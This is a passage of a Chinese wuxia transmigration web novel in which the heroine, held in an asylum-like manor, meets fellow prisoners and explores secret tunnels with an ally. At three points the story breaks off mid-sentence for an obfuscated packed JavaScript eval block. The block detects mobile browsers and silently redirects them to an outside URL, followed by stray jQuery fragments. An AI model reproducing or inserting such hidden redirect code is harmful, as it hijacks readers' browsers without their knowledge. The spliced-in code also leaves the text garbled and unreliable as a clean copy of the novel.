邱老看着戚江雪咳嗽不止,皱眉问道:“文启,你这是何意。她毕竟是庄主交待过要留下性命的。”
刘文启对邱老弯了弯腰,“我怕有诈,再试她一试。这一掌不过用了三成力。”
黑脸男冷哼一声:“我看你也是太过小心。在消业池泡过的哪个还能再翻起浪,何况邱老已经检查过了。”
刘文启笑了笑,不再说话,与黑脸男一起跟着邱老走了出去。
戚江雪将口中污水吐出,看来这一关暂时是过了。那文士武功在她之下,这一掌看着吓人,实际却伤害不大,不过就是想试探她是不是真的没了武功。
锁链被解开,双手又很快被绳子绑住。侍童往她眼睛上蒙了一块黑布,带着她向外走去。
戚江雪开始还想凭借感觉记路,后来便放弃了。这路又长又曲折,也不知途中经过了多少廊桥石阶,亭台阁院,让人根本摸不着头脑。
就在她以为要一直走下去时,侍童们停了下来。随后,黑布从眼睛上扯开。
一排参天古木从高墙内延伸出来,遮蔽半幕天光。只可惜出墙的不是绿叶红杏,只是光秃秃的枝丫。高大的拱门两边各有一座石羊雕像,双眼空洞注视着前方。
两个侍童一人一边架着戚江雪走进庭院,刻着“幽人馆”三个字的大门在身后慢慢关闭。
院内梧桐叶落,一地枯黄。
此地寂静异常,每处居所都是一个独立的小院,门侧写着数字编号。里面正中一间敞开的堂屋供奉着神龛,两侧则是门窗紧闭的居室。每个小院外都一左一右站着两名佩剑侍童。
经过一座小院时,戚江雪听到了窗户处有动静,似有人向外窥探。待她细看时,窗户已经关上了。
走到写着“肆”字的小院外,两侍童停了下来。其中一个站在了院外,另一个则跟戚江雪一起走进了房间。
推开门,满目青灰。房门没有门栓,从内无法上锁。房中只有一张床和半旧的楠木桌椅,角落的墙上架着一个洗漱用的木盆,里面已落了灰。
那侍童开口道:“幽人,这是你的住处。以后便老实待着,若再像之前一样没好果子吃。别说邱老,就是我和温礼两个也能轻松把你打趴下。”
戚江雪在椅子上坐下,问:“小哥如何称呼?”
侍童一板一眼道:“我叫温让,和温礼一起负责看守你。”
“温让,你不妨给我讲讲清晏山庄。我现在几乎算个废人,谈不上什么威胁,多知道点以后也少给你们添麻烦。”戚江雪语气很是温和。
“现在看来,你倒确实不像个疯子。”温让似乎接受了她的态度,语气稍软。
“清晏山庄占地很大。这里原是京郊的一个温泉小镇,本是要做皇家园林的,后来不知为何在30年前改建了山庄,疯癫之人都会被送到此处看管。尚善别院住的都是些无抵抗之力的疯人。”说到此处,温让瞪了戚江雪一眼。
“你之前不愿服罪,还打伤了莫管事,本应是要送到罚罪别院去的。只不过那里大多关着江湖上闻名的魔头,虽已被废武功,却依然很有攻击性。加上你又是个女子,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889326|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来这幽人馆了。”
戚江雪对温让露出无害的微笑,好奇道:“关进来的人就没有要跑出去的?”
“哼,他们也要有那本事才行。且不说武功被废,就算功力俱全也逃不出去。山庄东西南北四个出口皆有皇家的侍卫亲军把守,庄主的十大影卫,个个是顶尖的高手。还有两位掌教,武林中鲜少有人能在她们手中讨到好处。”温让十分不屑。
“你以为你之前和邱老对上就了不起?比起其他人差远了!那些逃跑被抓的都成了药人。没死在消业池里,算你运气好。”
变成药人?那还真是生不如死,或者说,求死不能。
戚江雪内心有些凝重,怪不得清晏山庄如此霸道,原来还和皇家扯上了关系。想想之前那个被关进来的官家女子,这里关的也不仅仅是武林中人。
“多谢你,以后我一定不会再惹事了。”戚江雪回答的颇有些低眉顺眼。
温让很满意戚江雪的态度。“每日巳时三刻和申时三刻会送食水,今日时辰已过,你只能继续挨饿了。戌时前可自由活动,但不得出院,也不得和其他人接触。”
“戌时之后呢?若有急事又当如何?”
“戌时后所有幽人不得出房。尸人大多在此时出动,发生意外我们概不负责。其余时间若有急事可拉门檐上的铃铛。”温让说完便转身离开。
戚江雪目送温让关上门,开始整理思绪。
留在这里肯定不是长久之计,但不能盲目跑。如今她只见过几个管事,听温让的意思,影卫和掌教的武功还在邱老之上,那便不是她能对抗的了。只是有武林高手就罢了,皇家侍卫为何也要在这里看守?难道这里有什么人或者秘密牵扯到了皇室吗?
“扑哧”一声,气流划过。只见窗格破了个小口,一支羽箭飞进来,钉在了她的床板上。
戚江雪拔下羽箭,看到这小箭构造有些奇特。她在羽毛处转了转,箭身裂开,从里面掉出了卷起的纸条。
展开纸条,上面画着山庄的大致地图。右下角还有几个峰劲小字:“不必谢我,后会有期。”
看来楼煊已经知道自己被关在哪了。他有这本事却找不到自己想救的人,只能说清晏山庄水很深。不过,这个地图目前对她来说是很有用的。
从地图上看,最外侧四面环山,将盆形的山庄包围起来。从西北顺着“清晏湖”由外向内依次分布着欢喜林、尸人苑、药人堂和罚罪别院,每处皆被一座温泉园隔开。再往内便是消业池,将幽人馆和尚善别院分隔在两边。处在最中间的是一大片叫作“静园”的园林,主院扶疏院便在静园之中。
戚江雪注意到在地图的东南方位,无争别院被放置在角落中,不与其他任何地方连通。这处别院似乎与众不同,在那里的不知会是什么人。
戚江雪将地图牢记于心,随后上前将被破坏的窗格遮了遮。许久没有进食,但她此刻却不觉得饿,而是有些兴奋。她一边打坐一边养精蓄锐,只等入夜后去外面探个究竟。
5. 长夜更漏滴无尽
子时初,月朗星稀。
这里本就安静,此时更是连虫鸣声都不闻。戚江雪将窗子轻轻推开,四下看了看,跳入院中。
院外的侍童不知所踪。戚江雪跃上房顶,俯瞰下去,入目皆是园林。虽深秋时节草木大多凋零,可放眼望去仍有郁郁葱葱之相,移步换景。
幽人馆旁边便是消业池和尚善别院,再向南则是主院。先找出口才是要紧,戚江雪按照地图所画往北面奔去。
她一路蜻蜓点水般踩过每个飞翘的檐角,却没注意在她身后的“柒”号院,窗户打开又关上了。
来到一座阁楼前,有亮光移动,戚江雪连忙躲在一根柱子后。
白日试探过她的刘文启提着灯笼,心不在焉地走了过来,时不时还要回头看看。
这些别院主事都有夜游的习惯吧。一到了晚上就开始鬼鬼祟祟,莫瑞谦之前是这样,刘文启也不例外,看来他们见不得光的事可真不少。
眼看刘文启往她出来的方向去了,戚江雪想了想不打算跟随他,而是继续向外探查。
一路除了碰上几个巡夜的武侍童,倒也无事。
经过温泉园,月华洗练下的池水蒸汽腾腾,带着朦胧的诱惑,戚江雪甚至想跳下去泡一泡。不过她终究还是没有被冲动控制。
药人堂一片漆黑死寂,看不见任何踪影。戚江雪想起楼煊之前所说,不知那些被用来炼药的武林人士是否就关在这里,她忍不住向里面走去。
正中的大殿似乎已经荒废,空荡荡的神龛落了一层薄灰,不知过去供奉的是什么。横梁上有数根铁链垂下,地上则有许多钉着铁钉的木板或倒或立。
戚江雪一不注意,踢倒了一块木板。
“啪!”响动在空荡的殿里格外明显。
殿外立马传来了脚步声,伴随着一声厉喝:“谁在里面?”
戚江雪连忙藏在门侧的角落,后背紧紧贴着墙壁。一蓝衣少女冲进了大殿,先向着神龛后找去。戚江雪立马飞身奔出殿外。
风声变紧,是蓝衣少女追了出来。她的速度极快,戚江雪根本无法甩脱。
光跑是不行的,戚江雪脚下提速,闪进一座八角亭,几个纵跃后便消失了踪迹。
蓝衣少女飞上屋顶,锐利如鹰隼般的目光来回搜寻,但戚江雪早已隐匿不见。她冷哼一声,双手合拢在嘴边吹出了几声长短不一的尖啸,随后便转身离去。
戚江雪等了许久,待四周确实无人后才小心翼翼地从阁楼三层高的斗拱上跳了下来。
她之前匆匆瞥过一眼,前方那条临水而建的游廊蜿蜒回绕看不见尽头,也许正通向药人堂的出处,于是脚尖轻点,跳入游廊。尽管园中似乎并无他人,她的脚步声还是几不可闻。
那蓝衣少女轻功极好,看打扮不像是影卫,她会不会就是温让提到的掌教呢?
这条游廊属实有点太长了,每经过一个转弯处,戚江雪总免不了疑神疑鬼。
总算看到游廊尽头的小拱门,她轻轻吐了口气。紧接着,又意识到哪里不对。
有人在跟着她。
刚刚吐气的不止她一人。
这一路她都没有察觉被人尾随,只因那人始终与她的步态保持一致,随着她的呼吸而呼吸。但刚刚对方特意露出了破绽,怕是已经准备收网。
戚江雪想到这里猛地向前冲了出去。
拱门近在眼前。
但风骤然而起,来人已经贴向了她的后背。戚江雪一脚向后蹬去,那人速度极快地向后退了一个身位。戚江雪要的就是这个空隙,她凝神提气,全力跳过拱门。
然后,她定住了。
外面闪烁着一个又一个红点,像是某种野兽眼睛的反光。仔细看就会发现,眼前是一群遍布血痂形容可怖的尸人。
与戚江雪在消业池见到的不同,这些尸人都还活着,但很显然已经没有意识了。血红的眼睛里泛出的是残忍又凶狠的杀戮欲。
原本以为被她甩掉了的蓝衣少女冷冷笑道:“本来想把你带回去,看来不需要我动手了。他们今天还没见血,算你好运。希望你死了以后身体不要被分成太多块,那实在有些脏。”
蓝衣少女嫌恶地看了那些尸人一眼,又留给戚江雪一个看好戏的眼神,随后便飞身而走,似乎怕接下来的情景会脏了她的眼睛。
戚江雪沉沉叹了口气,面色如水,看向尸人群。
希望她的“杀手锏”今天能给个面子,不然她是真的危险了。
尸人冲了上来,每一个都想要用尖利的指甲和腥臭的牙齿撕下她的皮肉。这些尸人的战斗力比消业池的那些不知强了多少倍,看得出有些还保留着原来的武功底子。
戚江雪用手刀横劈竖砍,抬脚便踢要害。她下的都是杀手,甚至像过去印象里对付丧尸的方法一样,力求彻底破坏他们的大脑。
这些人活着比死更痛苦,而戚江雪则早已突破了内心的那道界限。生与死是很大的命题,但在你死我活的境地面前,做出选择并不难。
尸人没有知觉不会疲倦,但戚江雪却渐渐有些乏力了。她获得武学的时间毕竟还不够长,身体还在适应成长的阶段。她尝试了用“杀手锏”,可得到的依然是“时机未到。”
其实也对,她虽然有一击必杀的决心,却并无死意。她的绝杀,为的是自己的求生欲。
在又打退一批尸人后,看到还在涌上来的行尸大队,戚江雪转身开始往回跑。
傻子才会被纯消耗,她倒要看看这些尸人能跑多快。
果然,在追过了药人堂和一个温泉园后,尸人已经一个都看不见了。那蓝衣少女估计觉得自己必然会死在尸人手里,倒是也没再出现。
戚江雪心有余悸地来到幽人馆门前,才稍微松了口气。
她正要回自己的小院,却听到“柒”号院中传来声音。
“秦女侠,我敬重你的父亲,也敬重你的为人。再三前来,同样表明了我的诚意。何必非要一口将话说死呢,把东西给我,对你更有利。”
戚江雪偷偷在窗格上捅了一个小破口,向里望去,看见刘文启正站在桌边,而他对面则是一个四十多岁,眉眼颇具英气的女子。
“对我有利?难道还能把我从这里放出去不成?”
女子冷冷笑道:“不必多费口舌。我秦家《清罡诀》自先祖流传下来便立下规矩,非秦家后人和心怀正念之人不得外传。你这种道貌岸然的伪君子怎么配练?”
刘文启面目森寒。“秦修意,你秦家还哪有什么后人。落在你这妇人手上已是辱没了功法!莫要冥顽不灵,我好言相劝,再不识好歹可别怪我不客气。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889327|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
秦修意面露讽刺道:“所谓好言相劝便是放尸人来害我?你若想要我的命就尽管拿去。落在你们这样的鼠辈手中,死又何惧!”
眼见刘文启要对秦修意动手,戚江雪连忙用肘部撞击窗户,发出一声巨大声响。
“谁?”刘文启迅速跑向窗边,见无动静,又将门打开来回查看。
戚江雪此时早已在屋顶上。若刘文启还要继续迫害,她不介意对他动手,不过刘文启应该没那么大的胆子。
“亏心事做多了,难免疑神疑鬼。一只猫也能吓成这样,你简直枉为武林中人。想要《清罡诀》不过是痴心妄想!”
秦修意安然坐在桌边,似乎根本就没将刘文启放在眼里。
“《清罡诀》我势在必得。我再给你一些时间考虑,秦修意,人不要把话说绝了,以后的事可由不得你。”
刘文启说完便从屋里走了出来,一路回头张望,生怕被人发现了踪迹。
眼见已无威胁,戚江雪正打算离开,只听秦修意的声音从屋中传来。
“哪位侠士出手相助,可否下来一见。”
戚江雪有些犹豫,她武功还在的事多一个人知道便多一分风险。原本能在暗中相助已算是皆大欢喜了。
“可是住在肆号院的那位姑娘?”秦修意问道,声音中却带着一种笃定。
戚江雪跳了下来,走进屋里关上门,向秦修意行了个礼。
“前辈怎知是我?”
秦修意淡淡一笑:“你一个多时辰前便从这里经过,我也只是猜测。”
戚江雪有些不好意思道:“我原以为自己已经够小心了,没想到在前辈这样的高人面前还是漏了马脚。”
“什么高人。我已是个废人,不然也不会被逼迫至此。只不过是因我自幼听力比常人强些,即便功力尽散,也能听到旁人听不到的动静。”
秦修意话语中不无自嘲,戚江雪想安慰又觉得自己的话并没有什么说服力。
“那刘文启看着不像作罢的样子,听前辈说之前他曾让尸人来害过您,之后可能还会有这样的危险。”
“往常他都会让尸人守在院外,以此来威胁我。今日你没有看到吗?”
戚江雪听罢摇了摇头。“今日幽人馆附近并没有人,我遇到的尸人都集中在药人堂附近。”
“怪不得今日他并没有纠缠许久。你竟然能跑到那么远的地方。”秦修意若有所思。
戚江雪转移了话题,道:“刘文启不怀好意,如果下次他再来迫害前辈,我一定会出手相助。”
秦修意带着深意看向她:“你可知他为何要对我如此?被关到了幽人馆,你就不怕我也是疯癫可怖之人?”
戚江雪微微一笑。
“我不是疯子,也认为前辈没有疯。虽不知为何被关在这里,但我们各有各的悲苦辛酸。刘文启的目的我不在意,他对没有抵抗之力的女子出手我便不能不管。我也不知为何自己武功还在,但既然我能尽绵薄之力,就不会袖手旁观。不管是药人还是尸人,被清晏山庄强行定罪的人已经太多了。”
戚江雪说罢便准备告辞。“且慢。”秦修意说完站了起来。
“苒苒,出来吧。”
秦修意话音刚落,只见床旁边的墙板被推开,一个女子从后面走了出来。
6. 半指惊门疑入障
戚江雪并未想到床后还藏了人。
那女子与秦修意差不多年龄。乍一看仿若春风拂过的一池碧水,柔美婉约,风情动人,前提是忽略她指尖捏着的长针。
“小友别怕,苒苒是我的至交。她刚刚躲在后面只是为了防止刘文启伤我。”秦修意看出戚江雪的诧异,对她解释。
关苒苒将长针收了起来,来到秦修意身旁,打量着戚江雪的目光中带着好奇。
“小友肤白发浅,瞳色也异于常人,是天生如此?可有异域血统?”关苒苒的声音同她的人一般温婉。
戚江雪点了点头。“应是生来如此。我被关进来时可能受了伤,对过去的事记忆模糊,也不知自己的身世。”
她是穿越过来的,没有原身记忆,当然不知道自己有没有异族血统。只能说失忆了。
秦修意让戚江雪坐了下来。
“既受过伤,便让苒苒帮你看看吧。她出自神医关山月一脉,你若有恙找她再合适不过。”
神医?那岂不是一下就能看出她的端倪?
“怎好麻烦前辈,我……”戚江雪话还没说完,关苒苒的手已经搭上了她的脉搏。
她轻轻笑了笑,道:“你可是不信任我?失忆可是大事,有可能是伤到了脑子,耽误不得。况且你帮了修意,便也是我的朋友了。”
戚江雪不再说话,事已至此,就看关苒苒怎么说吧。
“你还是个姑娘家,未曾婚嫁。”
戚江雪下意识说道:“当然了。我才十八岁。”
在戚江雪原来生活的时代,十八岁才刚刚成年。大家忙着去学习,去工作,也去探索新的世界,谁会想在这时候步入难解的婚姻呢。
秦关二人都宽和善意地笑了起来,只当是女儿家的害羞,再正常不过了。
“许多女子一及笄便出嫁,我当年嫁人时也不过十六岁。”说到这里,关苒苒的笑容倏忽而逝。
她沉吟半晌,才道:“头部各穴位并未受损,只不过确实气血有亏。关于失忆,或许更多是精神上的原因。但你与我们一样,并没有疯。”
戚江雪不由有些黯然。“我听那邱老说是亲人送我进来的,也不知到底犯了什么错。”
“哼,送你来这里还算是什么亲人?不过是看你年少可欺罢了。这幽人馆里全是女子,又有几个是真疯子?”秦修意面露讽刺。
“可否请教二位,你们来多久了?为何关前辈能出现在秦前辈的房中?”戚江雪好奇这二人是怎么从各自关押的院中接触彼此的。
“四年前我被关进来后无意中发现院子里有一条密道,从我的拾号院通向修意的柒号院,我从密道中过来,结识了修意。此后我们也一直暗中往来。”关苒苒对戚江雪解释道。
有密道,那岂不是多了找人和逃出去的希望。
“这密道可还通向其他地方?”戚江雪有些兴奋。
关苒苒摇了摇头,“密道只连接着我二人的院子,倒像是有人专门为这两个院子开了一条暗路,想通过密道去别的地方却是不能。我们也探查过,似乎只有我们这里有密道。”
戚江雪不免有些失望。“我昨天也在自己的院中看过,没有发现什么。”
“或许这条密道是当初建造的工匠留下的,只不过山庄里的人不知道罢了。”
秦修意说着站了起来,走到窗边,隔着一扇窗遥遥望向夜空。
“我被关进幽人馆七年了,最初见过的女子,现在都已不在。谁也不知清晏山庄是怎样兴起的,最初又想被用来做什么。三十年来,这里关的除了武林人士还有昔日的朝廷官员和皇室宗亲,它不过是替上位者处理麻烦的一只手。”
戚江雪点头称是。
“听闻山庄入口处还有皇家亲卫,可见他们对这里的看守十分重视。用药人去做见不得光的事,和达官贵人互相勾连,或许他们便是借此来稳定山庄的势力。”
秦修意深深看了一眼戚江雪,道:“大抵便是如此。只是我们皆被废去了武功,小友却能全身而退,可否将其中关窍告知一二。”
“最初被关在尚善别院,那个所谓‘定风波’对我并没有用,他们又将我送去了消业池,依然如此。为了少生事端,我佯装自己功力被废才又被送到这里。或许是我失忆前有什么际遇,或许是我的身体对这些有抗性。个中缘由我也不知。”
戚江雪暗自叹了口气。带着“武学挂”这件事只能她自己知道,失忆可以算是个万能借口了。好在她解释的很认真,秦关二人看上去也没有再怀疑。
关苒苒此时已起身。“时候不早,我也该回去了。刚刚把脉有些匆忙,之后有机会我再替小友好好看看身体。只不知刘文启何时又会来骚扰,我真想一针了结了他。”
戚江雪对两位前辈点了点头,道:“多谢前辈好意。若刘文启再来,我定不会袖手旁观。今日多有叨扰,晚辈便先回去了。”
戚江雪行了一礼,从窗外翻了出去。
秦修意看着她的背影跳上房檐然后又消失不见,才关上了窗。
“苒苒,你诊断得如何。这姑娘说的可是事实?”
关苒苒走到了床板前。
“她根骨绝佳,气海深广无边,我也无法探出虚实。不过我认为她并没有说谎,世间多的是特殊体质,他们做的那些腌臜东西未必就能对付得了所有人。”
秦修意点了点头,有些欣慰。
“那她倒真的是天赋异禀,可算武学奇才了。观她行事,也是个心思纯正之人。”
“那对你来说也算得上是好事啊。”关苒苒莞尔一笑,从墙后原路返回。
秦修意将床板恢复了原位,第一次觉得刘文启的出现没有那么讨厌了。
戚江雪昨夜回来后便沉沉睡去,醒来已接近巳时。
她在床上打坐片刻,只觉连日来的疲惫都一扫而空。
就在这时,脚步声传来。
“咚咚——”
敲门声停了停,随后门被推开。
温让进来将一个托盘放在桌上,又从外面提进一个木桶放在门边。
做完这些后他便一声不吭地推门出去了。
戚江雪起身用木桶里的水清洗一番,来到桌前。面对一盘青菜豆腐加一碗糙米,她竟也觉得很是可口。看来是真饿了。
直到将糙米吃完,戚江雪才在碗底看见一张被卷起的小纸条,上面写着“子时,药人堂。”
戚江雪顿时一肚子气,哪有人往别人饭菜里放纸条的?被吃进去怎么办!还是说他是存心想倒她的胃口?今晚见到楼煊一定要给他说道说道以后该通过什么方式传信。
不过,在药人堂会不会有些危险?昨夜遇到那蓝衣少女便是在药人堂,年龄与她相差无几,武功却在她之上。若再对上,脱身恐怕就没那么容易了。
罢了,楼煊估计又是易容成了药人,或许对他来说在那接头比较方便。之后的事就等见面再说吧。
今夜的药人堂依旧是一片黑寂,戚江雪谨慎起见藏在了外面的一苇枯草丛中。
没过多久,草丛传来响动,一张陌生的脸露了出来。
“戚姑娘,别来无恙。”是楼煊的声音。
戚江雪扫了他一眼,道:“有恙。被你放在饭里的纸条给弄吐了。”
楼煊有些歉意地眨了眨眼,“对不住,只是这样保
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889328|159932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
险一点。如果你的窗户上全是机关小箭射出的破洞,那也很容易被察觉的。”
“你有什么新发现了吗?”戚江雪没有再纠缠,直奔主题。
楼煊看着药人堂道:“嗯。有一条密道就在药人堂的附近,但我还没确定具体位置。”
戚江雪仔细听了听周围的动静。
“昨夜我在这里碰到了一个蓝衣女子,我不是她的对手。”
“蓝衣?应该是无疚。”楼煊想了想道,“山庄有两个掌教,无疚和无痴。她们一般不会固定在某个地方,我打探到她们今晚一个在罚罪别院,一个在静园。”
“影卫呢?还有,我昨夜碰到了大群尸人。”戚江雪想起昨夜还是有些心有余悸。
楼煊声音里带着些安抚意味。“影卫只任庄主差遣,平时没几人见过。尸人有些麻烦,但你武功尚在,我也有机关,碰到了以躲闪为主,倒也问题不大。”
戚江雪不再犹豫,站了起来。“我们一明一暗,若遇到危险你尽快想办法脱身,我来将他们引开。”
楼煊拉住了戚江雪。
“不,我在明。我现在是个药人,若被抓住也能蒙混一番。但凭你的功夫,只要不暴露就可以全身而退。我叫你来并不只是想让你帮我而以身涉险。若能找到其他出路,你也可以不被困在这里了。”
楼煊说完便出了草丛,走向药人堂的院子。
总要有一个人做后手。既然他是一番好意,再拉扯便显得矫情了。
戚江雪又在暗处等了等,见没有异常才沿着草丛跟了上去。
这里不是她昨夜进入的大殿,而是侧边一座三层高的阁楼。戚江雪稍微望了会风,不想在外面干等,便也进去查看。
楼煊进来后便放出了十几个长着八条腿的铁虫。
这些像蜘蛛一样的机械虫迅速朝着四面八方爬动,无声无息。
“楼上是放置药品的地方,没有其他。”楼煊轻声说。
戚江雪点了点头。楼梯是木质的,踩上去一不小心就会发出声音,能不上去当然是最保险的。
一楼的地上放着许多像酒坛一样的黑色坛子。她打开其中一个,里面的水浑浊不堪,看不清泡着什么,只是散发出阵阵腐臭。
戚江雪差点吐出来,赶紧把坛子盖上。平复了一会,她又打开另一个坛子,里面是一团黑发,上面还连带着小块头皮。
戚江雪再也忍耐不住,呕了几下,吐在了坛子里。
一只手将坛子拿了过去,随后递上一块绣着青竹的手帕。
戚江雪接过手帕捂在鼻子上,薄荷的清香直冲天灵,不适感顿时缓解了许多。
“多谢。”戚江雪有些不好意思。
楼煊似是知道她的尴尬,并没有看她,将坛子放回了原位。
“怪我,之前的纸条已经让你吐了。有些事若细想,只会更加难受。”
戚江雪何尝不明白,但却控制不住自己发散思绪。
就在这时,楼煊腰间传来“咔嚓”一声齿轮转动的轻响。
“在那边。”楼煊走向角落的柱子。
戚江雪刚想跟过去,却听利器破空之声由远及近。
就在她闪向旁边的下一秒,一道气流“嗖”一声擦着她的面颊飞过。眼前没有任何武器出现,只是门上多了一个两指宽的孔洞。
化气为剑。戚江雪心跳加速。
“好大的胆子。竟然还敢来这里!”无疚带着怒气的声音在门外冷冰冰地响起。
唯一的出路已经被封死了,戚江雪连忙躲到柱子后。
就在破门声响起的同时,戚江雪感觉脚下一空,她被人拉着坠入了黑暗。
7. 非是平地起波澜
预想中的摔落并未到来。
戚江雪被裹进一个宽阔的怀抱,二人贴着石墙轻轻滑下。为了缓解面对面的尴尬,戚江雪将脸侧了过去,灼热的呼吸烫得她左耳生出湿意。
一片沉寂中,只余心脏敲锣打鼓,在黑暗里沸反盈天。
原以为下面会是一条密道,再不济也是一间密室。谁想这里竟如此逼仄,容纳一人有余,两人嫌挤,转个身都很困难。
与世隔绝一般,听不见上面的动静。不知无疚正如何寻找,若她打开暗门,在下面抵挡将会很被动。没有什么腾挪的余地,如果突然掉下来刀兵暗器那他们会被扎成刺猬吧。
戚江雪强行让自己思考,但是楼煊不给她机会。也不知他在干什么,手从她的腰间来回滑过。
都这时候了还不检点些!戚江雪一怒之下掐住楼煊的胳膊,狠狠一拧。只听楼煊“嘶”地倒吸了口凉气,但很快克制住了。
一个硬邦邦的东西被他颤抖着从腰间举了起来,是一支两寸多长的小弩。随后他又从袖中掏出了一把拳头大小的伸缩伞。
楼煊晃了晃手中的东西,又指了指头顶上,一双星目中饱含着亮晶晶的疑惑。这眼神让戚江雪莫名想到了被主人嫌弃却不知为何的委屈小狗。
戚江雪有点愧疚,但不多,再怎么说他也让她难受了不是。不过行走的机关百宝箱还是很有用的,有了这些确实能打上面一个出其不意。
两人没有再动,静静等待着。
戚江雪无聊地用手指扣着凹凸不平的石壁,突然摸到一块格外平滑的石头。她心下一动,用指背敲了敲,又敲敲它两边,果然感觉不同。
她将内力凝聚在手掌,往后一推,滑石向后平移。紧接着,对面的石墙向两边分开,留出一人宽的通道。
楼煊站定后,与戚江雪对视一眼,先行走了进去。
戚江雪跟随进来后,回过头,掌心聚气击向对面的凹陷之石。石块并未受损,而是向前恢复原位,两边的石墙也缓缓闭合。
终于松了口气,两人快步走向前。
“无疚应该并不知道这下面的秘密。”楼煊的声音从前方传来。
戚江雪也这样认为,不过她还是有些不放心。“嗯,她会不会发现你的那些小虫子?”
楼煊声音轻快道:“我下来之前就让它们自爆了。就算她能发现,看到的也只是铁屑。”
这放在千年后也是很厉害的技术了,戚江雪由衷发出了赞叹。
“巧思玲珑,造化神工。你们凌鸢阁在江湖中应当很是厉害吧。”
楼煊沉默了片刻才道:“战国时有四大显学。其中乂家求真重践,以侠义闻名,以机关见长。乂家曾有许多分支,经过一千多年的凋零没落,现在仅剩凌鸢阁一支了。凌鸢阁不愿涉足各种纷争,可树欲静,风却不止。”
“你要救的可是阁中之人?”怀璧其罪,戚江雪也觉得凌鸢阁的技术很容易遭人觊觎。
“是我师伯。他也是凌鸢阁的前任掌门。如今绥景两国局势紧张,我们本以为是景国将他带走,想要做机关或是获取某些特殊技艺,可谁知后来我查出抓他的竟是自己人。这清晏山庄是何等严酷,也不知师伯在这里受了多少罪。”
楼煊的话语带着愤怒与不解,戚江雪忍不住安慰。
“也许他们为了达到目的并不会对你师伯太严苛,我们想办法尽快找到他。”
这条路很长,也不知是不是因为通道狭窄,戚江雪感觉越来越热。
她看了一眼前方的楼煊,却发现他的耳侧起了一片密密麻麻的红疹。
戚江雪拉了下楼煊的袖子,楼煊停了下来。待他转身,戚江雪才看见他的额头边缘也在泛红。
“你可有感觉到热?你的脸似乎出了些问题。”戚江雪有些担忧。
楼煊怔了怔,他刚刚一门心思想着救人之事,竟忽略了面部的不适。
“此处应当接近温泉,所以气温升高。看来这张脸是要不得了。”
楼煊说完,从袖中掏出一个小瓶往手上倒了倒,随后在脸上按捏了一圈。
戚江雪看着他的动作,突然想到小时候曾看过的一个关于换脸的恐怖故事。大晚上乍一看这动作还真怪可怕的,她忍不住笑起来,随后又顿住了。
一张人皮面具被撕了下来。
“猗嗟昌兮,颀而长兮。美目清兮,仪既成兮。”
戚江雪料想楼煊容貌不差,但此时方觉古诗所言非虚,美人无分男女。当楼煊满眼含笑看着她时,冲击力比她后世看到的男明星可大多了。
“让你露出真面目还挺不容易的。被我看到没关系吗?”戚江雪轻声问。
楼煊对她拱了拱手,道:“之前实属无奈之举。今后一定与戚姑娘坦诚相待。”
戚江雪听到这话有些别扭,她不由推了推楼煊。
“无所谓,反正长什么样都是你。这里好热,快往前走。”
“那怎么能一样。”楼煊被推着往前走,嘴却没停。“我听说长相出众者更容易获得他人的信任,戚姑娘难道没觉得我现在比之前更真诚了吗?”
戚江雪撇了撇嘴角。“没想到你还挺自恋。没听说过‘君子盛德,容貌若愚’吗?”
“这么说,你觉得我是君子?”楼煊的声音带着笑意。
戚江雪懒得再理他。
不知这密道通往何处,两人走了好一阵,热气终于散去。
前方开阔起来,有一处蜿蜒而上的石阶,尽头又是一面石墙。
楼煊先到,他四下摸了摸,对戚江雪点头道:”应该就是这块了。”
戚江雪再次用掌击向那块石头,只听头顶上方传来响动。
石砖移位,露出四四方方可供一人通过的洞口。
从洞口出来,已是下半夜。外面是一座花园,建筑凋敝,塘水枯竭,萧索不成景。
楼煊看了看四周对戚江雪说:“这里是罚罪别院。”
戚江雪点了点头,想起之前在地图上看到的便是罚罪别院与药人堂相邻,没想到还有一条连通的暗道。
“这里关的是什么人?”
“都是男子,即便废了武功仍有很强的攻击欲。据说有些练功练到走火入魔,是武林公敌。照山庄的说法,这些人都有罪,要不是因为他们是真疯,早就被拉去做药人了。我师伯不在这里,看来还得找其他密道。”
楼煊的声音里透出失望,戚江雪也觉得心情沉重起来。
“你之前说有一个掌教今夜在这里?”
“是无疚。”楼煊将小弩重新拿在手上。“只是不知道她之前怎么又去了药人堂。”
“可能是昨夜我去过,今天她便又去那里检查了。现在不知她在哪里,你还能再易容吗?”戚江雪有些忧虑。
楼煊点了点头。“能是
